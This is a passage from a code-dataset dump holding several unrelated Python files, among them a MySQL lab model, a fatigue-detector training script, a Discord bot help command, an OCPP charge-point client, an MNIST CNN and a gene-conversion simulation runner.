'./checkpoint_autoencoder/autoencoder_gmmn_dim{}.pth'.format(args.code_dim))","sub_path":"OKGAN/.ipynb_checkpoints/autoencoder_poisson_digit-checkpoint.py","file_name":"autoencoder_poisson_digit-checkpoint.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"589081925","text":"import MySQLdb\r\n\r\nclass Connection:\r\n def __init__(self, user, password, db, host='localhost'):\r\n self.user = user\r\n self.host = host\r\n self.password = password\r\n self.db = db\r\n self._connection = None\r\n\r\n @property\r\n def connection(self):\r\n return self._connection\r\n\r\n def __enter__(self):\r\n self.connect()\r\n\r\n def __exit__(self, exc_type, exc_val, exc_tb):\r\n self.disconnect()\r\n\r\n def connect(self):\r\n if not self._connection:\r\n self._connection = MySQLdb.connect(\r\n host=self.host,\r\n user=self.user,\r\n passwd=self.password,\r\n db=self.db,\r\n charset = \"utf8\"\r\n )\r\n\r\n def disconnect(self):\r\n if self._connection:\r\n self._connection.close()\r\n\r\nclass User:\r\n\r\n def __init__(self, db_connection, username, first_name, last_name, middle_name, birthday, email, phone, sex):\r\n self.db_connection = db_connection.connection\r\n self.username = username\r\n self.first_name = first_name\r\n self.last_name = last_name\r\n self.middle_name = middle_name\r\n self.birthday = birthday\r\n self.email = email\r\n self.phone = phone\r\n self.sex = sex\r\n\r\n def save(self):\r\n c = self.db_connection.cursor()\r\n c.execute(\"INSERT INTO my_app_user (username, first_name, last_name, middle_name, birthday, email, phone, sex) VALUES (%s, %s, %s, %s, %s, %s, %s, %s);\",\r\n (self.username, self.first_name, self.last_name, self.middle_name, self.birthday, self.email, self.phone, self.sex))\r\n self.db_connection.commit()\r\n c.close()\r\n\r\n def get(self):\r\n c = self.db_connection.cursor()\r\n c.execute(\"SELECT * FROM my_app_user;\")\r\n users = []\r\n for row in c.fetchall():\r\n u = User\r\n u.username = row[1]\r\n u.first_name = row[2]\r\n u.last_name = row[3]\r\n u.middle_name = row[4]\r\n u.birthday = row[5]\r\n u.email = row[6]\r\n u.phone = row[7]\r\n u.sex = row[8]\r\n users.append(u)\r\n return users\r\n\r\nclass Computer:\r\n def __init__(self, db_connection, name, image, description, price):\r\n self.db_connection = db_connection.connection\r\n self.name = name\r\n self.image = image\r\n self.description = description\r\n self.price = price\r\n\r\n def save(self):\r\n c = self.db_connection.cursor()\r\n c.execute(\"INSERT INTO my_app_computer (name, images, description, price) VALUES (%s, %s, %s, %s);\",\r\n (self.name, self.image, self.description, self.price))\r\n self.db_connection.commit()\r\n c.close()\r\n\r\nclass Order:\r\n def __init__(self, db_connection, adress, delivery_date, count, user_id, computer_id):\r\n self.db_connection = db_connection.connection\r\n self.adress = adress\r\n self.delivery_date = delivery_date\r\n self.count = count\r\n self.user_id = user_id\r\n self.computer_id = computer_id\r\n\r\n def save(self):\r\n c = self.db_connection.cursor()\r\n c.execute(\"INSERT INTO my_app_order (adress, delivery_date, count, user_id, bank_id) VALUES (%s, %s, %s, %s);\",\r\n (self.adress, self.delivery_date, self.count, self.user_id, self.computer_id))\r\n self.db_connection.commit()\r\n c.close()\r\n\r\n\r\ncon = Connection(\"lab6user\", \"12345\", \"lab6_db\")\r\n\r\nwith con:\r\n user = User(con, 'test_user', 'Ореликов'.encode('utf-8'), 'Михаил'.encode('utf-8'), 'Геннадьевич'.encode('utf-8'), '1997-02-27', 'mymail@mail.ru', '79998887766','М'.encode('utf-8'))\r\n user.save()\r\n user = User(con, 'user1', 'Иванов'.encode('utf-8'), 'Иван'.encode('utf-8'), 'Иванович'.encode('utf-8'), '2016-12-23', 'hismail@mail.ru', '78887776655', 'М'.encode('utf-8'))\r\n user.save()\r\n #computer = Computer(con, '15.6\" Ноутбук Lenovo B5010 черный'.encode('utf-8'), , 'Адрес!')\r\n #computer.save()\r\n #computer = Computer()\r\n #computer.save()\r\n #order = Order()\r\n #order.save()","sub_path":"my_app/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"319581242","text":"#notice:\n#put this script in dataset directory\n#outer pointer: UXX(01-30)\n#inner pointer: VXX(01-12), 01-03 normal,04-06 yawn, 07-12 fatigue\n#inner directories, containing pictures in which people wear glasses, is suffixed with _glass\n\n#------------------------------------------------This module computes EAR ratio----------------------------------\n\nimport os;\ndef OneRoundComputeEarRatio(exceptFile):## file path is relative rather than absolute\n\tprint (\"i am in OneRoundComputeEarRatio\");\n\t##outerPointer\n\t##innerPointer\n\tnormal=open(\"NormalEye.txt\",\"w\");\n\tyawn=open(\"YawnEye.txt\",\"w\");\n\tfatigue=open(\"FatigueEye.txt\",\"w\");\n\n\tnormalReader=open(\"NormalEyeReadOnly.txt\",\"r\");\n\tyawnReader=open(\"YawnEyeReadOnly.txt\",\"r\")\n\tfatigueReader=open(\"FatigueEyeReadOnly.txt\",\"r\")\n\t\n\tstart=False;\n\twhile True:\n\t\tline=normalReader.readline();\n\t\tif not line:\n\t\t\tbreak;\n\t\tif line.find(exceptFile)!=-1:#the except one\n\t\t\twhile True:\n\t\t\t\tline=normalReader.readline();\n\t\t\t\tif not line:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\t\t\tif line.find(\"U\")>-1:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\telif line.find(\"U\")>-1:\n\t\t\tcontinue;\n\t\telse:\n\t\t\tpass;\n\t\tif start:\n\t\t\tstart=False;\n\t\t\tcontinue;\n\t\tnormal.write(line.strip()+\"\\n\");\n\t\t\n\tstart=False;\n\twhile True:\n\t\tline=yawnReader.readline();\n\t\tif not line:\n\t\t\tbreak;\n\t\tif line.find(exceptFile)!=-1:#the except one\n\t\t\twhile True:\n\t\t\t\tline=yawnReader.readline();\n\t\t\t\tif not line:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\t\t\tif line.find(\"U\")>-1:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\telif line.find(\"U\")>-1:\n\t\t\tcontinue;\n\t\telse:\n\t\t\tpass;\n\t\tif start:\n\t\t\tstart=False;\n\t\t\tcontinue;\n\t\tyawn.write(line.strip()+\"\\n\");\n\t\n\tstart=False;\n\twhile True:\n\t\tline=fatigueReader.readline();\n\t\tif not line:\n\t\t\tbreak;\n\t\tif line.find(exceptFile)!=-1:#the except one\n\t\t\twhile True:\n\t\t\t\tline=fatigueReader.readline();\n\t\t\t\tif not line:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\t\t\tif line.find(\"U\")>-1:\n\t\t\t\t\tstart=True;\n\t\t\t\t\tbreak;\n\t\telif line.find(\"U\")>-1:\n\t\t\tcontinue;\n\t\telse:\n\t\t\tpass;\n\t\tif start:\n\t\t\tstart=False;\n\t\t\tcontinue;\n\t\tfatigue.write(line.strip()+\"\\n\");\n\t\n\tnormal.close();\n\tyawn.close();\n\tfatigue.close();\n\t\t\t\t\t\t\t\t#=============code above is bug free====================\n#%------------------------------This module computes criteria of classification and compute penalty--------------------------------\nimport numpy as np\n#import matplotlib.pyplot as plt\n#import pylab as pl;\n\ndef LeastLengthOfInterval(list,bias):##if bias means leftward or rightward or middleward\n\thalf=int(len(list)/3);\n\tlist.sort();\n\tleft=list[0];\n\tright=list[half];\n\tminLength=right-left;\n\tlistResult=[left];#store the left value of minimul length\n\ti=1;\n\twhile i<=half:\n\t\tleft=list[i];\n\t\tright=list[i+half-1];\n\t\ti+=1;\n\t\tif(right-left)minLength\n\t\t\tcontinue;\n\t\tlistResult.append(left);\n\tlistResult.sort();\n\tif(bias=='L'):\n\t\treturn listResult[0],listResult[0]+minLength;\n\telif (bias=='M'):\n\t\treturn listResult[int(len(listResult)/2)],listResult[int(len(listResult)/2)]+minLength;\n\telse:#bias is 'R'\n\t\treturn listResult[int(len(listResult)-1)],listResult[int(len(listResult)-1)]+minLength;\n\t\t\n\ndef NormalDetector():\n\tnormal=open(\"NormalEye.txt\",\"r\");\n\tnormalArray=[];\n\tleft=0;\n\tright=0;\n\tfor line in normal.readlines():\n\t\tline=line.strip();\n\t\tnormalArray.append(np.float64(line));\n\tleft,right=LeastLengthOfInterval(normalArray,'R');\n\tnormal.close();\n\tif os.path.exists(\"NormalEye.txt\"):\n\t\tos.remove(\"NormalEye.txt\");\n\treturn left,right;\n\t\ndef YawnDetector():\n\tyawn=open(\"YawnEye.txt\",\"r\");\n\tyawnArray=[];\n\tleft=0;\n\tright=0;\n\tfor line in yawn.readlines():\n\t\tline=line.strip();\n\t\tyawnArray.append(np.float64(line));\n\tleft,right=LeastLengthOfInterval(yawnArray,'M');\n\tyawn.close();\n\tif os.path.exists(\"YawnEye.txt\"):\n\t\tos.remove(\"YawnEye.txt\");\n\treturn left,right;\n\t\ndef FatigueDetector():\n\tfatigue=open(\"FatigueEye.txt\",\"r\");\n\tfatigueArray=[];\n\tleft=0;\n\tright=0;\n\tfor line in fatigue.readlines():\n\t\tline=line.strip();\n\t\tfatigueArray.append(np.float64(line));\n\tleft,right=LeastLengthOfInterval(fatigueArray,'L');\n\tfatigue.close();\n\tif os.path.exists(\"FatigueEye.txt\"):\n\t\tos.remove(\"FatigueEye.txt\");\n\treturn left,right;\n\t\n###bug length == 0\ndef classifier(list,left,right):\n\tlist.sort();\n\tlength=len(list);\n\tcounter=0.0;\n\tfor ele in list:\n\t\tif ele=left:\n\t\t\tcounter+=1;\n\treturn (counter/length)>0.3;\n\t\n\n\t\ndef ComputePenalty():\n\tprint(\"i am in ComputePenalty\");\n\ttotalWrong=0;## is number of all wrong prediction\n#-------------following variable is very important to optimize the alg--------\n\ttotalPenalty=[];##contains 30 penalty array\n\t##left one method \n\tfor index in range(1,31):##30 round computing\n\t\texceptFile='U';\n\t\tif index<10:\n\t\t\texceptFile=exceptFile+'0'+str(index);\n\t\telse:\n\t\t\texceptFile=exceptFile+str(index);\n\t\t##log print the left one file name \n\t\tprint (\"left one file is \"+exceptFile)\n\t\t##log \n\t\tprint (\"Number \"+str(index)+\" start to come in OneRoundComputeEarRatio\");\n\t\t##write EAR ratio into corresponding file\n\t\tOneRoundComputeEarRatio(exceptFile);\n\t\t#log\n\t\tprint (\"Number \"+str(index)+\" i have left OneRoundComputeEarRatio\");\n\t\t#log\n\t\tprint (\"Number \"+str(index)+\" start to build detector\");\n\t\t##build detector and remove ear file\n\t\tnleft,nright=NormalDetector();\n\t\tyleft,yright=YawnDetector();\n\t\tfleft,fright=FatigueDetector();\n\t\tdetectorFile=open(\"detectorFile.txt\",\"a+\");##write addition\n\t\tdetectorFile.write(\"Round \"+str(index)+\" \"+\"\\n\");\n\t\tdetectorFile.write(\"normal \"+str(nleft)+\" \"+str(nright)+\"\\n\");\n\t\tdetectorFile.write(\"yawn \"+str(yleft)+\" \"+str(yright)+\"\\n\");\n\t\tdetectorFile.write(\"fatigue \"+str(fleft)+\" \"+str(fright)+\"\\n\");\n\t\tdetectorFile.close();\n\t\t#log\n\t\tprint (\"Number \"+str(index)+\" finish building detector\");\n\n\n\t\t\t\n\t\n\n\n\n\n#------------------------------------------Following module will pre-process image-------------------------------------------\n\tpass;\n\n#------------------------------------------Following module is the top module------------------------------------------------\nimport sys\nsys_stdout_backup=sys.stdout\nsys.stdout=open(\"logTranning.txt\",\"w\");\n\n#log\nprint (\"program entrance\");\n\nComputePenalty();\nprint (\"successful exit\");\n\nsys.stdout.close()\nsys.stdout=sys_stdout_backup\n","sub_path":"DigitalImageProcessing/eyeDetector/tranning.py","file_name":"tranning.py","file_ext":"py","file_size_in_byte":6192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"305804013","text":"import sys\nfrom cx_Freeze import setup, Executable\nbuild_exe_options = {\"optimize\": 2,\n \"include_files\": [\"config.py\"]}\nbase = None\nif sys.platform == 'win32':\n base = 'Win32GUI'\nexecutables = [Executable(script='main.py',\n base=base,\n targetName=\"Demo.exe\",\n compress=True,\n icon=\"a.ico\")]\nsetup(name='jwnmp',\n version='0.1',\n description='Sample cx_Freeze wxPython script',\n options = {\"build_exe\": build_exe_options},\n executables=executables)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"286794968","text":"import os, sys, discord\r\nfrom discord.ext import commands\r\n\r\nif not os.path.isfile(\"config.py\"):\r\n sys.exit(\"'config.py' not found! Please add it and try again.\")\r\nelse:\r\n import config\r\n\r\nclass Help(commands.Cog, name=\"help\"):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.command(name=\"help\")\r\n async def help(self, context):\r\n \"\"\"\r\n List all commands from every Cog the bot has loaded.\r\n \"\"\"\r\n\r\n text = 'cock - размер\\n' \\\r\n 'info - информация о боте\\n' \\\r\n 'ping - пинг\\n' \\\r\n 'server - сервер\\n' \\\r\n 'poll - начать голосование\\n' \\\r\n 'ask - спросить у бота\\n' \\\r\n 'bitcoin - цена на биткойн\\n' \\\r\n 'kick - кикнуть участника\\n' \\\r\n 'nick - изменить никнейм учатника\\n' \\\r\n 'ban - дать бан участнику\\n' \\\r\n 'shutdown - закрыть рот боту\\n' \\\r\n 'say - скажет бот\\n' \\\r\n 'БОТА СДЕЛАЛ НУРБЕК!'\r\n embed = discord.Embed(\r\n title=\"КОМАНДЫ:\",\r\n description=text,\r\n color=config.success\r\n )\r\n await context.send(embed=embed)\r\n\r\ndef setup(bot):\r\n bot.add_cog(Help(bot))","sub_path":"cogs/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"301668260","text":"import asyncio\nimport logging\nimport websockets\n\nfrom ocpp.v16 import call, ChargePoint as cp\nfrom ocpp.v16.enums import Action, RegistrationStatus\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger()\n\n\nclass ChargePoint(cp):\n async def boot_notification(self):\n payload = call.BootNotificationPayload(\n charge_point_vendor=\"Alfen BV\",\n charge_point_model=\"ICU Eve Mini\",\n firmware_version=\"#1:3.4.0-2990#N:217H;1.0-223\",\n )\n\n response = await self.call(payload)\n if response.status == RegistrationStatus.accepted:\n log.info('Charge Point accepted!')\n\n\nasync def main():\n async with websockets.connect(\n 'ws://localhost:9000/CP_1',\n subprotocols=['ocpp1.6']\n ) as ws:\n\n cp = ChargePoint('CP_1', ws)\n\n await asyncio.gather(cp.start(), cp.boot_notification())\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","sub_path":"2_after/charge_point.py","file_name":"charge_point.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"216397945","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\ntf.reset_default_graph()\n\ndef CNN():\n # download the mnist data.\n mnist = input_data.read_data_sets('MNIST_data', one_hot=True) \n\n\n # placeholder is used for feeding data.\n x = tf.placeholder(\"float\", shape=[None, 784], name = 'x') # none represents variable length of dimension. 784 is the dimension of MNIST data.\n y_target = tf.placeholder(\"float\", shape=[None, 10], name = 'y_target') # shape argument is optional, but this is useful to debug.\n\n\n \n # reshape input data\n x_image = tf.reshape(x, [-1,28,28,1], name=\"x_image\")\n \n # Build a convolutional layer and maxpooling with random initialization\n W_conv1 = tf.Variable(tf.truncated_normal([5, 5, 1, 32], stddev=0.1), name=\"W_conv1\") # W is [row, col, channel, feature]\n b_conv1 = tf.Variable(tf.zeros([32]), name=\"b_conv1\")\n h_conv1 = tf.nn.relu(tf.nn.conv2d(x_image, W_conv1, strides=[1, 1, 1, 1], padding='SAME') + b_conv1, name=\"h_conv1\")\n h_pool1 = tf.nn.max_pool( h_conv1 , ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name = \"h_pool1\")\n \n # Repeat again with 64 number of filters\n W_conv2 = tf.Variable(tf.truncated_normal([5, 5, 32, 64], stddev=0.1), name=\"W_conv2\") # W is [row, col, channel, feature]\n b_conv2 = tf.Variable(tf.zeros([64]), name=\"b_conv2\")\n h_conv2 = tf.nn.relu(tf.nn.conv2d(h_pool1, W_conv2, strides=[1, 1, 1, 1], padding='SAME') + b_conv2, name=\"h_conv2\")\n h_pool2 = tf.nn.max_pool( h_conv2 , ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name = \"h_pool2\")\n \n # Build a fully connected layer\n h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64], name=\"h_pool2_flat\")\n W_fc1 = tf.Variable(tf.truncated_normal([7 * 7 * 64, 1024], stddev=0.1), name = 'W_fc1')\n b_fc1 = tf.Variable(tf.zeros([1024]), name = 'b_fc1')\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1, name=\"h_fc1\")\n\n \n # Dropout Layer\n keep_prob = tf.placeholder(\"float\", name=\"keep_prob\")\n h_fc1 = tf.nn.dropout(h_fc1, keep_prob, name=\"h_fc1_drop\")\n \n # Build a fully connected layer with softmax \n W_fc2 = tf.Variable(tf.truncated_normal([1024, 10], stddev=0.1), name = 'W_fc2')\n b_fc2 = tf.Variable(tf.zeros([10]), name = 'b_fc2')\n y=tf.nn.softmax(tf.matmul(h_fc1, W_fc2) + b_fc2, name=\"y\")\n \n\n\n\n # define the Loss function\n cross_entropy = -tf.reduce_sum(y_target*tf.log(y), name = 'cross_entropy')\n \n\n # define optimization algorithm\n #train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n\n\n\n correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_target, 1))\n # correct_prediction is list of boolean which is the result of comparing(model prediction , data)\n\n\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\")) \n # tf.cast() : changes true -> 1 / false -> 0\n # tf.reduce_mean() : calculate the mean\n\n\n\n # create summary of parameters\n tf.summary.histogram('weights_1', W_conv1)\n tf.summary.histogram('weights_2', W_conv2)\n tf.summary.histogram('y', y)\n tf.summary.scalar('cross_entropy', cross_entropy)\n merged = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter(\"/tmp/cnn\")\n\n \n # Create Session\n sess = tf.Session(config=tf.ConfigProto(gpu_options=tf.GPUOptions(allow_growth =True))) # open a session which is a envrionment of computation graph.\n sess.run(tf.global_variables_initializer())# initialize the variables\n\n\n # training the MLP\n for i in range(5001): # minibatch iteraction\n batch = mnist.train.next_batch(100) # minibatch size\n sess.run(train_step, feed_dict={x: batch[0], y_target: batch[1], keep_prob: 0.5}) # placeholder's none length is replaced by i:i+100 indexes\n\n if i%500 == 0:\n train_accuracy = sess.run(accuracy, feed_dict={x:batch[0], y_target: batch[1], keep_prob: 1})\n print (\"step %d, training accuracy: %.3f\"%(i, train_accuracy))\n\n # calculate the summary and write.\n summary = sess.run(merged, feed_dict={x:batch[0], y_target: batch[1], keep_prob: 1})\n summary_writer.add_summary(summary , i)\n\n # for given x, y_target data set\n print (\"test accuracy: %g\"% sess.run(accuracy, feed_dict={x: mnist.test.images[0:250], y_target: mnist.test.labels[0:250], keep_prob: 1}))\n sess.close()\nCNN()\n","sub_path":"z_old_version/s1.9/python/cnn_tf1.1.py","file_name":"cnn_tf1.1.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"381422364","text":"from GroceryTracking import db\nfrom sqlalchemy import func\nfrom GroceryTracking.models import User, List, Item, Content\nimport requests, json\n\n\ndef nextHighestUserId():\n maxUserId = db.session.query(func.max(User.id))\n maxId = maxUserId[0]\n maxId = maxId[0]\n if maxId == None:\n nextMaxId = 1\n else:\n nextMaxId = maxId + 1\n return nextMaxId\n\n\ndef nextHighestListId():\n maxListId = db.session.query(func.max(List.id))\n maxId = maxListId[0]\n maxId = maxId[0]\n if maxId == None:\n nextMaxId = 1\n else:\n nextMaxId = maxId + 1\n return nextMaxId\n\n\ndef getInformationOnUpc(upc):\n headers = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json',\n }\n resp = requests.get('https://api.upcitemdb.com/prod/trial/lookup?upc=' + str(upc), headers=headers)\n data = json.loads(resp.text)\n for item in data['items']:\n print(\"{}\\t{}\\t{}\\t{}-{}\".format(item['ean'], item['title'], item['brand'], item['lowest_recorded_price'],\n item['highest_recorded_price']))\n return (item)\n\n\ndef addItemToDatabaseAndList(item):\n itemUpc = str(item['ean'])\n print('itemUpc is' + itemUpc)\n doesItemExistInDatabase = Item.query.filter_by(upc=itemUpc).first()\n print(\"Does item exist in database?\" + str(doesItemExistInDatabase))\n if doesItemExistInDatabase:\n print(\"item exists in database already.\")\n else:\n print(\"item does not exist in database already.\")\n newItem = Item(upc=item['ean'], name=item['title'])\n db.session.add(newItem)\n db.session.commit()\n\n","sub_path":"GroceryTracking/helperFunctions.py","file_name":"helperFunctions.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"158359366","text":"\n\nclass Solution(object):\n def maxLength(self, strs):\n\n if strs == strs[::-1]:\n return strs\n\n def palindrome(s, i, j):\n while i >= 0 and j < len(s):\n if s[i] == s[j]:\n i -= 1\n j += 1\n else:\n break\n return s[i+1:j]\n\n res = strs[:1]\n for i in range(len(strs)):\n temp2 = palindrome(strs, i, i)\n temp3 = palindrome(strs, i, i + 1)\n\n res = max(temp2, temp3, res, key=len)\n return res\n\n\nif __name__ == \"__main__\":\n s = Solution()\n str2 = \"babad\"\n print(s.maxLength(str2))\n\n","sub_path":"PartC/py最长的回文子串6.py","file_name":"py最长的回文子串6.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"428401834","text":"from IGCexpansion.IndCodonGeneconv import IndCodonGeneconv\nfrom IGCexpansion.HMMJSGeneconv import HMMJSGeneconv\nfrom IGCexpansion.PSJSGeneconv import PSJSGeneconv\nfrom IGCexpansion.JSGeneconv import JSGeneconv\nimport argparse, os\nimport numpy as np\n\ndef main(args):\n paralog = ['EDN', 'ECP']\n geo = args.geo\n rate_variation = args.rate_variation\n if args.Tau_case == 'Tenth':\n case = '/TenthTau/Tract_'\n elif args.Tau_case == 'Half':\n case = '/HalfTau/Tract_'\n elif args.Tau_case == 'One':\n case = '/Tract_'\n else:\n raise Exception('Check Tau_case input!')\n \n model = 'HKY'\n\n for sim_num in range(1, 101):\n alignment_file = '.' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num) + '/EDN_ECP_sim_' + str(sim_num) + '.fasta'\n newicktree = '../input_tree.newick'\n Force = None\n seq_index_file = '../' + '_'.join(paralog) +'_seq_index.txt'\n\n save_path = './save' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num)\n if not os.path.isdir('./save' + case + '' + str(geo)+'_' + model):\n os.mkdir('./save' + case + '' + str(geo)+'_' + model)\n if not os.path.isdir('./save' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num)):\n os.mkdir('./save' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num))\n\n if rate_variation:\n save_name = './save' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num) + '/EDN_ECP_Ind_' + model +'_rv_IGC_sim_' + str(sim_num) + '_save.txt'\n else:\n save_name = './save' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num) + '/EDN_ECP_Ind_' + model +'_IGC_sim_' + str(sim_num) + '_save.txt'\n\n \n Ind_IGC = IndCodonGeneconv( newicktree, alignment_file, paralog, Model = model, Force = Force, clock = None, save_name = save_name,\n rate_variation = rate_variation)\n Ind_IGC.get_mle(True, True, 0, 'BFGS')\n\n ###### Now get Ind MG94+IS-IGC+HMM estimates\n summary_path = './summary' + case + '' + str(geo) + '_' + model +'/sim_' + str(sim_num) +'/'\n if not os.path.isdir('./summary' + case + '' + str(geo)+'_' + model):\n os.mkdir('./summary' + case + '' + str(geo)+'_' + model)\n if not os.path.isdir(summary_path):\n os.mkdir(summary_path)\n \n x = np.concatenate((Ind_IGC.x, [0.0]))\n\n if rate_variation:\n save_file = save_path + '/HMMJS_' + '_'.join(paralog) + '_'+model+'_rv_nonclock_sim_' + str(sim_num) + '_save.txt'\n IGC_sitewise_lnL_file = summary_path + '_'.join(paralog) + '_'+model+'_rv_nonclock_sim_' + str(sim_num) + '_sw_lnL.txt'\n NOIGC_sitewise_lnL_file = summary_path + 'NOIGC_' + '_'.join(paralog) + '_'+model+'_rv_nonclock_sim_' + str(sim_num) + '_sw_lnL.txt'\n else:\n save_file = save_path + '/HMMJS_' + '_'.join(paralog) + '_'+model+'_nonclock_sim_' + str(sim_num) + '_save.txt'\n IGC_sitewise_lnL_file = summary_path + '_'.join(paralog) + '_'+model+'_nonclock_sim_' + str(sim_num) + '_sw_lnL.txt'\n NOIGC_sitewise_lnL_file = summary_path + 'NOIGC_' + '_'.join(paralog) + '_'+model+'_nonclock_sim_' + str(sim_num) + '_sw_lnL.txt'\n\n \n Ind_IGC.get_sitewise_loglikelihood_summary(IGC_sitewise_lnL_file, False)\n Ind_IGC.get_sitewise_loglikelihood_summary(NOIGC_sitewise_lnL_file, True)\n\n state_list = ['No IGC event (Si = 0)','At least one IGC event (Si > 0)']\n \n HMM_IGC = HMMJSGeneconv(save_file, newicktree, alignment_file, paralog, summary_path, x, save_path, IGC_sitewise_lnL_file, NOIGC_sitewise_lnL_file,\n state_list, seq_index_file, model = model, rate_variation = rate_variation)\n\n if rate_variation:\n summary_file_1D = summary_path + 'HMM_' + '_'.join(paralog) + '_' + model + '_rv_nonclock_sim_' + str(sim_num) + '_1D_summary.txt'\n plot_file = './plot' + case + '' + str(geo) + '_' + model + '/sim_' + str(sim_num) + '/HMM_' + '_'.join(paralog)+ '_' + model + '_rv_lnL_sim_' + str(sim_num) + '_1D_surface.txt'\n else:\n summary_file_1D = summary_path + 'HMM_' + '_'.join(paralog) + '_' + model + '_nonclock_sim_' + str(sim_num) + '_1D_summary.txt'\n plot_file = './plot' + case + '' + str(geo) + '_' + model + '/sim_' + str(sim_num) + '/HMM_' + '_'.join(paralog)+ '_' + model + '_lnL_sim_' + str(sim_num) + '_1D_surface.txt'\n\n \n # Plot lnL surface in IS-IGC+HMM model\n log_p_list = np.log(3.0/np.array(range(3, 1001)))\n \n if not os.path.isdir('./plot' + case + '' + str(geo) + '_' + model):\n os.mkdir('./plot' + case + '' + str(geo) + '_' + model)\n if not os.path.isdir('./plot' + case + '' + str(geo) + '_' + model + '/sim_' + str(sim_num)):\n os.mkdir('./plot' + case + '' + str(geo) + '_' + model + '/sim_' + str(sim_num))\n HMM_IGC.plot_tract_p(log_p_list, plot_file)\n\n # Get MLE and generate summary file\n HMM_IGC.get_mle(display = True, two_step = True, One_Dimension = True)\n HMM_IGC.get_summary(summary_file_1D)\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--geo', required = True, help = 'Mean tract length')\n parser.add_argument('--heterogeneity', dest = 'rate_variation', action = 'store_true', help = 'rate heterogeneity control')\n parser.add_argument('--homogeneity', dest = 'rate_variation', action = 'store_false', help = 'rate heterogeneity control')\n parser.add_argument('--Case', dest = 'Tau_case', default = 'One', help = 'Tau value case')\n \n main(parser.parse_args())\n\n\n## paralog = ['YDR418W', 'YEL054C']\n## #sim_num = args.sim_num\n## #geo = args.geo\n## #rate_variation = args.rate_variation\n## model = 'HKY'\n## sim_num = 1\n## geo = 3.0\n## rate_variation = True\n\n\n\n\n\n\n \n","sub_path":"SimulationStudy/Run_HMM.py","file_name":"Run_HMM.py","file_ext":"py","file_size_in_byte":5941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"569362533","text":"import scipy as sp\nimport scipy.io\nimport os\nimport numpy as np\nimport pandas as pd\nimport glob\nimport csv\nimport random as rand\nfrom tqdm import tnrange, tqdm_notebook\nfrom collections import Iterable\nimport matplotlib.pylab as mpl\nimport random as rand\nfrom ipywidgets import *\nimport colorlover as cl\nfrom scipy import stats\nimport matplotlib.patches as patches\nfrom matplotlib import gridspec\n\n\ndef load_data(directory, switch = False):\n\t\"\"\"\n\tfunction that loads, cleans, and performs some initial processing on log_df table that contains data from entire dataset.\n\tlog_df table was generated from Intan recording data that was originally preprocessed in matlab using\n\tcat_session.mat function\n\t\"\"\"\n\tif switch == True:\n\t\tlog_df = pd.read_hdf(directory+ '\\\\log_df_switch.h5', 'table')\n\telse:\n\t\tlog_df = pd.read_hdf(directory+ '\\\\log_df.h5', 'table')\n\tlog_df['stim_onset'] = log_df['stim_onset'].fillna(0)\n\tlog_df['spike_times(stim_aligned)'] = log_df['spike_times'] - log_df['stim_onset']\n\tlog_df = log_df[~log_df['trial_type'].str.contains('NoStim')]\n\tlicks = pd.concat([log_df['licks_right'] - log_df['stim_onset'] , log_df['licks_left']-log_df['stim_onset']], axis=1)\n\tlicks = licks.applymap(lambda y: y[[0.1 0 else y)\n\tlicks = licks.applymap(lambda y: y[[3>=y]] if len(y) > 0 else y)\n\tfirst_licks = licks.applymap(lambda y: min(y) if len(y) > 0 else np.nan)\n\tlast_licks = licks.applymap(lambda y: max(y) if len(y) > 0 else np.nan)\n\n\tlog_df['first_lick'] = first_licks.min(axis=1)\n\tlog_df['last_lick'] = last_licks.max(axis=1)\n\n\tlog_df['spike_times(stim_aligned)'] = log_df['spike_times(stim_aligned)'].apply(lambda 